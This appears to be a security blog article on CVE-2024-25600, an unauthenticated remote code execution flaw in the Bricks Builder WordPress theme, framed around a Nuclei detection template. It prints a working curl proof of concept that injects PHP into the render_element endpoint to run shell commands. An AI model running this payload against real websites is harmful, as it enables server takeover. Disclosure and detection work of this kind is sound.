In the digital landscape of WordPress themes and plugins, a critical vulnerability has emerged with the potential to compromise website security.
CVE-2024-25600, a flaw within the Bricks Builder plugin, exposes sites to unauthenticated remote code execution.
This article introduces a specialized Nuclei template designed to detect and address this significant security risk, offering a beacon of protection for web administrators and developers alike.
Nuclei template and information about the POC for CVE-2024-25600
The Bricks theme for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.9.6. This makes it possible for unauthenticated attackers to execute code on the server.
This template is designed to detect the CVE-2024-25600 vulnerability found in the Bricks Builder plugin for WordPress using nuclei.
The vulnerability allows for unauthenticated remote code execution on affected websites.
The Complete POC (automatic) is avaible.
The base PoC provided by the disclosure is as follows:
curl -k -X POST https://[HOST]/wp-json/bricks/v1/render_element \
-H "Content-Type: application/json" \
-d '{
"postId": "1",
"nonce": "[NONCE]",
"element": {
"name": "container",
"settings": {
"hasLoop": "true",
"query": {
"useQueryEditor": true,
"queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
"objectType": "post"
}
}
}
}' Replace [HOST] with the target website and [NONCE] with the nonce value retrieved from the site.
The groupdel command in Linux removes a group from the system. It deletes the group's entry from /etc/group and /etc/gshadow,…
The wc command in Linux counts lines, words, characters, and bytes in files or standard input. It…
The top command in Linux provides a real-time view of running processes and system resource usage. From…
The usermod command in Linux modifies existing user account attributes. You can use it to manage group…
The sort command in Linux reads lines from files or standard input and writes them to standard…
The wall command in Linux sends a message to the terminals of all currently logged-in users. The…